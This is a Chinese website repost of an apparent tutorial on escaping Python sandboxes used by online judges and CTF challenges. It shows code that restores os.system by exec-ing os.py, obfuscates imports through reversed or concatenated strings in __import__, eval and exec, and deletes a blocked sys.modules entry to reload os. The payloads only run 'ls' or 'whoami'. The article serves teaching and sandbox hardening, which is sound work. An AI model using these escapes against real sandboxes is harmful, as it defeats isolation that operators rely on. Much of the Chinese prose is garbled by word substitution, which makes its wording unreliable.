加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-22 23:32:34 所属栏目:建站 来源:Macr0phag3
导读:让用户提交 Python 代码并在处事器上执行,是一些 OJ、量化网站重要的处事,许多 CTF 也有相同的题。为了不让恶意用户执行恣意的 Python 代码,就必要确保 Python 运行在沙箱中。沙箱常常会禁用一些敏感的函数,譬喻 os,研究怎么逃逸、防护这类沙箱照旧蛮

不外要留意,2.x 才气用,3.x 删了 execfile,不外可以这样:

  1. with open('/usr/lib/python3.6/os.py','r') as f: 
  2.     exec(f.read()) 
  3. system('ls') 

这个要领倒是 2.x、3.x 通用的。

不外要行使上面的这两种要领,就必需知道库的路径。着实在大大都的情形下,库都是默认路径。假如 sys 没被干掉的话,还可以确认一下,:

  1. import sys 
  2. print(sys.path) 

3. 花式处理赏罚字符串

代码中要是呈现 os,直接不让运行。那么可以操作字符串的各类变革来引入 os:

  1. __import__('so'[::-1]).system('ls') 
  1. b = 'o' 
  2. a = 's' 
  3. __import__(a+b).system('ls') 

还可以操作 eval 可能 exec:

  1. >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) 
  2. macr0phag3 
  3. >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) 
  4. macr0phag3 

趁便说一下,eval、exec 都是相等伤害的函数,exec 比 eval 还要伤害,它们必然要过滤,由于字符串有许多变形的方法,对字符串的处理赏罚可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了。。。

4. 规复 sys.modules

sys.modules 是一个字典,内里储存了加载过的模块信息。假如 Python 是刚启动的话,所列出的模块就是表明器在启动时自动加载的模块。有些库譬喻 os 是默认被加载进来的,可是不能直接行使,缘故起因在于 sys.modules 中未经 import 加载的模块对当前空间是不行见的。

假如将 os 从 sys.modules 中剔除,os 就彻底没法用了:

  1. >>> sys.modules['os'] = 'not allowed' 
  2. >>> import os 
  3. >>> os.system('ls') 
  4. Traceback (most recent call last): 
  5.   File "<stdin>", line 1, in <module> 
  6. AttributeError: 'str' object has no attribute 'system' 
  7. >>> 

留意,这里不能用 del sys.modules['os'],由于,当 import 一个模块时:import A,搜查 sys.modules 中是否已经有 A,假若有则不加载,假如没有则为 A 建设 module 工具,并加载 A。

以是删了 sys.modules['os'] 只会让 Python 从头加载一次 os。

看到这你必定发明白,对付上面的过滤方法,绕过的方法可所以这样:

  1. sys.modules['os'] = 'not allowed' # oj 为你加的 
  2.  
  3. del sys.modules['os'] 
  4. import os 
  5. os.system('ls') 

最后尚有一种操作 __builtins__ 导入的方法,下面会具体说。

5. 花式执行函数

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读